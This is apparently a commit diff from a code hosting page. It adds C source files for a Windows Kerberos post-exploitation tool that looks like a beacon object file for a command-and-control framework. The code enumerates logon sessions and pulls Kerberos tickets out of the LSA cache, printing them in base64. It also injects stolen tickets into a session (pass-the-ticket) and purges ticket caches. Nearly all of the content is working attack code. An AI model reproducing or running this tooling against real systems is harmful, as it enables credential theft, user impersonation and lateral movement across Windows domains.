     41 + cacheRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
     42 + }
     43 + 
     44 + SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]);
     45 + KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL;
     46 + KERB_TICKET_CACHE_INFO_EX cacheInfo;
     47 + ULONG responseSize;
     48 + NTSTATUS protocolStatus;
     49 + status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest),
     50 + &cacheResponse, &responseSize, &protocolStatus);
     51 + if (!NT_SUCCESS(status)) {
     52 + PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
     53 + continue;
     54 + }
     55 + // check protocol status?
     56 + if (cacheResponse == NULL) {
     57 + continue;
     58 + }
     59 + int ticketCount = cacheResponse->CountOfTickets;
     60 + PRINT(dispatch, "[*] Cached tickets: (%d)\n\n", ticketCount);
     61 + if (ticketCount > 0) {
     62 + for (int j = 0; j < ticketCount; j++) {
     63 + cacheInfo = cacheResponse->Tickets[j];
     64 + PRINT(dispatch, "\t[%d]\n", j);
     65 + PrintTicketInfo(dispatch, cacheInfo);
     66 + if (dump) {
     67 + PRINT(dispatch, "\tTicket : ");
     68 + PUCHAR ticket;
     69 + ULONG ticketSize;
     70 + status = ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket,
     71 + &ticketSize);
     72 + if (!NT_SUCCESS(status)) {
     73 + PRINT(dispatch, "[!] Could not extract the ticket: %ld\n", status);
     74 + } else {
     75 + if (ticketSize > 0) {
     76 + int len = Base64encode_len(ticketSize);
     77 + char* encoded = (char*)MSVCRT$calloc(len, sizeof(char*));
     78 + if (encoded == NULL) {
     79 + PRINT(dispatch, "[!] Base64 - could not allocate memory.\n");
     80 + continue;
     81 + }
     82 + Base64encode(encoded, ticket, ticketSize);
     83 + PRINT(dispatch, "%s\n\n", encoded);
     84 + MSVCRT$free(encoded);
     85 + MSVCRT$free(ticket);
     86 + }
     87 + }
     88 + }
     89 + PRINT(dispatch, "\n");
     90 + }
     91 + }
     92 + SECUR32$LsaFreeReturnBuffer(cacheResponse);
     93 + }
     94 + MSVCRT$free(sessionData.sessionData);
     95 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     96 +}
     97 + 
     98 +NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
     99 + PULONG ticketSize) {
     100 + KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = NULL;
     101 + KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL;
     102 + ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength;
     103 + retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST*)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
     104 + if (retrieveRequest == NULL) {
     105 + return STATUS_MEMORY_NOT_ALLOCATED;
     106 + }
     107 + retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
     108 + retrieveRequest->LogonId = luid;
     109 + retrieveRequest->TicketFlags = 0;
     110 + retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
     111 + retrieveRequest->EncryptionType = 0;
     112 + retrieveRequest->TargetName = targetName;
     113 + retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
     114 + MSVCRT$memcpy(retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength);
     115 + 
     116 + NTSTATUS protocolStatus;
     117 + NTSTATUS status = STATUS_SUCCESS;
     118 + status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse,
     119 + &responseSize, &protocolStatus);
     120 + if (NT_SUCCESS(status)) {
     121 + if (NT_SUCCESS(protocolStatus)) {
     122 + if (responseSize > 0) {
     123 + ULONG size = retrieveResponse->Ticket.EncodedTicketSize * sizeof(UCHAR);
     124 + PUCHAR returnTicket = (PUCHAR)MSVCRT$calloc(size, sizeof(UCHAR));
     125 + if (returnTicket != NULL) {
     126 + MSVCRT$memcpy(returnTicket, retrieveResponse->Ticket.EncodedTicket, size);
     127 + *ticket = returnTicket;
     128 + *ticketSize = size;
     129 + } else {
     130 + status = STATUS_MEMORY_NOT_ALLOCATED;
     131 + }
     132 + SECUR32$LsaFreeReturnBuffer(retrieveResponse);
     133 + }
     134 + } else {
     135 + status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
     136 + }
     137 + } else {
     138 + status = ADVAPI32$LsaNtStatusToWinError(status);
     139 + }
     140 + return status;
     141 +}
     142 + 
     143 +void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags) {
     144 + if ((ticketFlags & KERB_TICKET_FLAGS_forwardable) == KERB_TICKET_FLAGS_forwardable) {
     145 + PRINT(dispatch, "forwardable");
     146 + }
     147 + if ((ticketFlags & KERB_TICKET_FLAGS_forwarded) == KERB_TICKET_FLAGS_forwarded) {
     148 + PRINT(dispatch, ", forwarded");
     149 + }
     150 + if ((ticketFlags & KERB_TICKET_FLAGS_proxiable) == KERB_TICKET_FLAGS_proxiable) {
     151 + PRINT(dispatch, ", proxiable");
     152 + }
     153 + if ((ticketFlags & KERB_TICKET_FLAGS_proxy) == KERB_TICKET_FLAGS_proxy) {
     154 + PRINT(dispatch, ", proxy");
     155 + }
     156 + if ((ticketFlags & KERB_TICKET_FLAGS_may_postdate) == KERB_TICKET_FLAGS_may_postdate) {
     157 + PRINT(dispatch, ", may_postdate");
     158 + }
     159 + if ((ticketFlags & KERB_TICKET_FLAGS_postdated) == KERB_TICKET_FLAGS_postdated) {
     160 + PRINT(dispatch, ", postdated");
     161 + }
     162 + if ((ticketFlags & KERB_TICKET_FLAGS_invalid) == KERB_TICKET_FLAGS_invalid) {
     163 + PRINT(dispatch, ", invalid");
     164 + }
     165 + if ((ticketFlags & KERB_TICKET_FLAGS_renewable) == KERB_TICKET_FLAGS_renewable) {
     166 + PRINT(dispatch, ", renewable");
     167 + }
     168 + if ((ticketFlags & KERB_TICKET_FLAGS_initial) == KERB_TICKET_FLAGS_initial) {
     169 + PRINT(dispatch, ", initial");
     170 + }
     171 + if ((ticketFlags & KERB_TICKET_FLAGS_pre_authent) == KERB_TICKET_FLAGS_pre_authent) {
     172 + PRINT(dispatch, ", pre_authent");
     173 + }
     174 + if ((ticketFlags & KERB_TICKET_FLAGS_hw_authent) == KERB_TICKET_FLAGS_hw_authent) {
     175 + PRINT(dispatch, ", hw_authent");
     176 + }
     177 + if ((ticketFlags & KERB_TICKET_FLAGS_ok_as_delegate) == KERB_TICKET_FLAGS_ok_as_delegate) {
     178 +#if (_WIN32_WINNT == 0x0501)
     179 + PRINT(dispatch, ", cname_in_pa_data");
     180 +#else
     181 + PRINT(dispatch, ", ok_as_delegate");
     182 +#endif
     183 + }
     184 + if ((ticketFlags & KERB_TICKET_FLAGS_name_canonicalize) == KERB_TICKET_FLAGS_name_canonicalize) {
     185 + PRINT(dispatch, ", name_canonicalize");
     186 + }
     187 + // if ((ticketFlags & KERB_TICKET_FLAGS_enc_pa_rep) ==
     188 + // KERB_TICKET_FLAGS_enc_pa_rep)
     189 + // {
     190 + // PRINT(dispatch, ", enc_pa_rep");
     191 + // }
     192 + 
     193 + PRINT(dispatch, " (0x%lx)\n", ticketFlags);
     194 +}
     195 + 
     196 +void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo) {
     197 + PRINT(dispatch, "\tClient name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ClientName),
     198 + GetNarrowStringFromUnicode(cacheInfo.ClientRealm));
     199 + PRINT(dispatch, "\tServer name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ServerName),
     200 + GetNarrowStringFromUnicode(cacheInfo.ServerRealm));
     201 + SYSTEMTIME st_utc = ConvertToSystemtime(cacheInfo.StartTime);
     202 + PRINT(dispatch, "\tStart time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
     203 + st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
     204 + st_utc = ConvertToSystemtime(cacheInfo.EndTime);
     205 + PRINT(dispatch, "\tEnd time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
     206 + st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
     207 + st_utc = ConvertToSystemtime(cacheInfo.RenewTime);
     208 + PRINT(dispatch, "\tRenew time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
     209 + st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
     210 + PRINT(dispatch, "\tFlags : ");
     211 + PrintTicketFlags(dispatch, cacheInfo.TicketFlags);
     212 + PRINT(dispatch, "\tEncryption type : %s\n", GetEncryptionTypeString(cacheInfo.EncryptionType));
     213 +}
     214 + 
  • ■ ■ ■ ■ ■ ■
    source/luid.c
     1 +#include "luid.h"
     2 + 
     3 +void execute_luid(WCHAR** dispatch, HANDLE hToken) {
     4 + LUID* currentLUID = GetCurrentLUID(hToken);
     5 + if (currentLUID == NULL) {
     6 + PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
     7 + return;
     8 + }
     9 + 
     10 + PRINT(dispatch, "[+] Current LogonId: %lx:0x%lx\n\n", currentLUID->HighPart, currentLUID->LowPart);
     11 +}
     12 + 
     13 +LUID* GetCurrentLUID(HANDLE TokenHandle) {
     14 + TOKEN_STATISTICS tokenStats;
     15 + DWORD tokenSize;
     16 + if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) {
     17 + return NULL;
     18 + }
     19 + 
     20 + LUID* luid = MSVCRT$calloc(1, sizeof(LUID));
     21 + luid->HighPart = tokenStats.AuthenticationId.HighPart;
     22 + luid->LowPart = tokenStats.AuthenticationId.LowPart;
     23 + return luid;
     24 +}
  • ■ ■ ■ ■ ■ ■
    source/ptt.c
     1 +#include "ptt.h"
     2 + 
     3 +void execute_ptt(WCHAR** dispatch, HANDLE hToken, char* ticket, LUID luid, BOOL currentLuid) {
     4 + BOOL highIntegrity = IsHighIntegrity(hToken);
     5 + if (!highIntegrity && !currentLuid) {
     6 + PRINT(dispatch, "[!] Not in high integrity.\n");
     7 + return;
     8 + }
     9 + HANDLE hLsa;
     10 + if (currentLuid) {
     11 + highIntegrity = FALSE;
     12 + }
     13 + NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
     14 + if (!NT_SUCCESS(status)) {
     15 + PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
     16 + return;
     17 + }
     18 + ULONG authPackage;
     19 + LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
     20 + status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
     21 + if (!NT_SUCCESS(status)) {
     22 + PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
     23 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     24 + return;
     25 + }
     26 + 
     27 + int decoded_len = Base64decode_len(ticket);
     28 + char* decoded = (char*)MSVCRT$calloc(decoded_len, sizeof(char));
     29 + if (decoded == NULL) {
     30 + PRINT(dispatch, "[!] Base64 - could not allocate the memory.\n");
     31 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     32 + return;
     33 + }
     34 + Base64decode(decoded, ticket);
     35 + KERB_SUBMIT_TKT_REQUEST* submitRequest = NULL;
     36 + int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decoded_len;
     37 + submitRequest = (KERB_SUBMIT_TKT_REQUEST*)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
     38 + if (submitRequest == NULL) {
     39 + PRINT(dispatch, "[!] KERB_SUBMIT_TKT_REQUEST - could not allocate memory.\n");
     40 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     41 + return;
     42 + }
     43 + submitRequest->MessageType = KerbSubmitTicketMessage;
     44 + submitRequest->KerbCredSize = decoded_len;
     45 + submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
     46 + if (highIntegrity) {
     47 + submitRequest->LogonId = luid;
     48 + }
     49 + MSVCRT$memcpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decoded, decoded_len);
     50 + MSVCRT$free(decoded);
     51 + NTSTATUS protocolStatus;
     52 + ULONG responseSize;
     53 + PVOID response;
     54 + status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response,
     55 + &responseSize, &protocolStatus);
     56 + if (NT_SUCCESS(status)) {
     57 + if (NT_SUCCESS(protocolStatus)) {
     58 + PRINT(dispatch, "[+] Ticket successfully imported.\n");
     59 + } else {
     60 + status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
     61 + PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus: %ld\n", status);
     62 + }
     63 + } else {
     64 + status = ADVAPI32$LsaNtStatusToWinError(status);
     65 + PRINT(dispatch, "[!] LsaCallAuthenticationPackage Status: %ld\n", status);
     66 + }
     67 + 
     68 + if (submitRequest != NULL) {
     69 + MSVCRT$free(submitRequest);
     70 + }
     71 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     72 +}
  • ■ ■ ■ ■ ■ ■
    source/purge.c
     1 +#include "purge.h"
     2 + 
     3 +void execute_purge(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid) {
     4 + ULONG authPackage;
     5 + HANDLE hLsa;
     6 + void* purgeResponse;
     7 + ULONG responseSize;
     8 + NTSTATUS protocolStatus;
     9 + 
     10 + BOOL highIntegrity = IsHighIntegrity(hToken);
     11 + if (!highIntegrity && !currentLuid) {
     12 + PRINT(dispatch, "[!] Not in high integrity.\n");
     13 + return;
     14 + }
     15 + 
     16 + if (currentLuid) {
     17 + highIntegrity = FALSE;
     18 + }
     19 + 
     20 + NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
     21 + if (!NT_SUCCESS(status)) {
     22 + PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
     23 + return;
     24 + }
     25 + LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
     26 + status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
     27 + if (!NT_SUCCESS(status)) {
     28 + PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
     29 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     30 + return;
     31 + }
     32 + KERB_PURGE_TKT_CACHE_REQUEST purgeRequest;
     33 + purgeRequest.MessageType = KerbPurgeTicketCacheMessage;
     34 + if (highIntegrity) {
     35 + purgeRequest.LogonId = luid;
     36 + } else {
     37 + purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
     38 + }
     39 + purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
     40 + purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
     41 + status =
     42 + SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST),
     43 + &purgeResponse, &responseSize, &protocolStatus);
     44 + 
     45 + if (!NT_SUCCESS(status) || !NT_SUCCESS(protocolStatus)) {
     46 + PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
     47 + PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus %ld\n",
     48 + ADVAPI32$LsaNtStatusToWinError(protocolStatus));
     49 + } else {
     50 + PRINT(dispatch, "[+] Successfully purged tickets.\n");
     51 + }
     52 + 
     53 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     54 +}
  • ■ ■ ■ ■ ■ ■
    source/sessions.c
     1 +#include "sessions.h"
     2 + 
     3 +void execute_sessions(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid) {
     4 + BOOL highIntegrity = IsHighIntegrity(hToken);
     5 + if (!highIntegrity && !currentLuid) {
     6 + PRINT(dispatch, "[!] Not in high integrity.\n");
     7 + return;
     8 + }
     9 + 
     10 + LOGON_SESSION_DATA sessionData;
     11 + PSECURITY_LOGON_SESSION_DATA data;
     12 + NTSTATUS status = GetLogonSessionData(luid, &sessionData);
     13 + 
     14 + if (NT_SUCCESS(status)) {
     15 + for (int i = 0; i < sessionData.sessionCount; i++) {
     16 + data = sessionData.sessionData[i];
     17 + if (data != NULL) {
     18 + // PRINT(dispatch, "[%d] Session %d %x:0x%x %s\\%s %s:%s\n",
     19 + // i, data->Session, data->LogonId.HighPart, data->LogonId.LowPart,
     20 + // GetNarrowString(data->LogonDomain.Buffer),
     21 + // GetNarrowString(data->UserName.Buffer),
     22 + // GetNarrowString(data->AuthenticationPackage.Buffer),
     23 + // GetLogonTypeString(data->LogonType));
     24 + PrintLogonSessionData(dispatch, *data);
     25 + if (i != sessionData.sessionCount - 1) {
     26 + PRINT(dispatch, "\n\n");
     27 + }
     28 + SECUR32$LsaFreeReturnBuffer(data);
     29 + }
     30 + }
     31 + MSVCRT$free(sessionData.sessionData);
     32 + } else {
     33 + PRINT(dispatch, "[!] execute_sessions GetLogonSessionData: %ld", status);
     34 + }
     35 +}
     36 + 
     37 +NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) {
     38 + LOGON_SESSION_DATA sessionData;
     39 + PSECURITY_LOGON_SESSION_DATA logonData = NULL;
     40 + NTSTATUS status;
     41 + if (luid.LowPart != 0) {
     42 + status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
     43 + if (NT_SUCCESS(status)) {
     44 + sessionData.sessionData = MSVCRT$calloc(1, sizeof(*sessionData.sessionData));
     45 + if (sessionData.sessionData != NULL) {
     46 + sessionData.sessionCount = 1;
     47 + sessionData.sessionData[0] = logonData;
     48 + *data = sessionData;
     49 + } else {
     50 + status = STATUS_MEMORY_NOT_ALLOCATED;
     51 + }
     52 + } else {
     53 + status = ADVAPI32$LsaNtStatusToWinError(status);
     54 + }
     55 + } else {
     56 + ULONG logonSessionCount;
     57 + PLUID logonSessionList;
     58 + status = SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
     59 + if (NT_SUCCESS(status)) {
     60 + sessionData.sessionData = MSVCRT$calloc(logonSessionCount, sizeof(*sessionData.sessionData));
     61 + if (sessionData.sessionData != NULL) {
     62 + sessionData.sessionCount = logonSessionCount;
     63 + for (int i = 0; i < logonSessionCount; i++) {
     64 + LUID luid = logonSessionList[i];
     65 + status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
     66 + if (NT_SUCCESS(status)) {
     67 + sessionData.sessionData[i] = logonData;
     68 + } else {
     69 + sessionData.sessionData[i] = NULL;
     70 + }
     71 + }
     72 + SECUR32$LsaFreeReturnBuffer(logonSessionList);
     73 + *data = sessionData;
     74 + } else {
     75 + status = STATUS_MEMORY_NOT_ALLOCATED;
     76 + }
     77 + } else {
     78 + status = ADVAPI32$LsaNtStatusToWinError(status);
     79 + }
     80 + }
     81 + return status;
     82 +}
     83 + 
     84 +char* GetLogonTypeString(ULONG uLogonType) {
     85 + char* logonType = NULL;
     86 + switch (uLogonType) {
     87 + case LOGON32_LOGON_INTERACTIVE:
     88 + logonType = "Interactive";
     89 + break;
     90 + case LOGON32_LOGON_NETWORK:
     91 + logonType = "Network";
     92 + break;
     93 + case LOGON32_LOGON_BATCH:
     94 + logonType = "Batch";
     95 + break;
     96 + case LOGON32_LOGON_SERVICE:
     97 + logonType = "Service";
     98 + break;
     99 + case LOGON32_LOGON_UNLOCK:
     100 + logonType = "Unlock";
     101 + break;
     102 + case LOGON32_LOGON_NETWORK_CLEARTEXT:
     103 + logonType = "Network_Cleartext";
     104 + break;
     105 + case LOGON32_LOGON_NEW_CREDENTIALS:
     106 + logonType = "New_Credentials";
     107 + break;
     108 + default:
     109 + logonType = "(0)";
     110 + break;
     111 + }
     112 + return logonType;
     113 +}
     114 + 
     115 +void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data) {
     116 + WCHAR* sid = NULL;
     117 + PRINT(dispatch, "UserName : %.*s\n", data.UserName.Length / (int)sizeof(char),
     118 + GetNarrowString(data.UserName.Buffer));
     119 + PRINT(dispatch, "Domain : %.*s\n", data.LogonDomain.Length / (int)sizeof(char),
     120 + GetNarrowString(data.LogonDomain.Buffer));
     121 + PRINT(dispatch, "LogonId : %lx:0x%lx\n", data.LogonId.HighPart, data.LogonId.LowPart);
     122 + PRINT(dispatch, "Session : %ld\n", data.Session);
     123 + if (ADVAPI32$ConvertSidToStringSidW(data.Sid, &sid)) {
     124 + PRINT(dispatch, "UserSID : %s\n", GetNarrowString(sid));
     125 + } else {
     126 + PRINT(dispatch, "UserSID : -\n");
     127 + }
     128 + PRINT(dispatch, "Authentication package : %.*s\n", data.AuthenticationPackage.Length / (int)sizeof(char),
     129 + GetNarrowString(data.AuthenticationPackage.Buffer));
     130 + char* logonType = GetLogonTypeString(data.LogonType);
     131 + PRINT(dispatch, "LogonType : %s\n", logonType);
     132 + SYSTEMTIME st_utc = ConvertToSystemtime(data.LogonTime);
     133 + PRINT(dispatch, "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
     134 + st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
     135 + PRINT(dispatch, "LogonServer : %.*s\n", data.LogonServer.Length / (int)sizeof(char),
     136 + GetNarrowString(data.LogonServer.Buffer));
     137 + PRINT(dispatch, "LogonServerDNSDomain : %.*s\n", data.DnsDomainName.Length / (int)sizeof(char),
     138 + GetNarrowString(data.DnsDomainName.Buffer));
     139 + PRINT(dispatch, "UserPrincipalName : %.*s\n", data.Upn.Length / (int)sizeof(char),
     140 + GetNarrowString(data.Upn.Buffer));
     141 +}
Please wait...
Page is in error, reload to recover